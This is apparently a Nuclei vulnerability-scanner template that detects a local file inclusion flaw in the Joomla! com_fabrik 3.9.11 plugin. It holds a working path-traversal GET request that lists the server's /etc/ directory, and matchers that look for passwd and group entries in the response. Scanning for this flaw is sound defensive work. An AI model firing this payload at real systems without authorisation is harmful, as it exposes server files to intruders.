id: joomla-com-fabrik-lfi

info:
  name: Joomla! com_fabrik 3.9.11 - Local File Inclusion
  author: dhiyaneshDk
  severity: high
  description: Joomla! com_fabrik 3.9.11 is vulnerable to local file inclusion.
  reference:
    - https://www.exploit-db.com/exploits/48263
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: joomla,lfi,edb,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?option=com_fabrik&task=plugin.pluginAjax&plugin=image&g=element&method=onAjax_files&folder=../../../../../../../../../../../../../../../etc/'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"value":"passwd"'
          - '"value":"group"'
          - '"disable":false'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202b5aceeb66f91e11e219631a428ff4918c6b1db71c45b16523420fbf79b1cbd3022100d317419eac0976f8a938d240a25917b611f8c759f53d46369b95166e027b490f:922c64590222798bb761d5b6d8e72950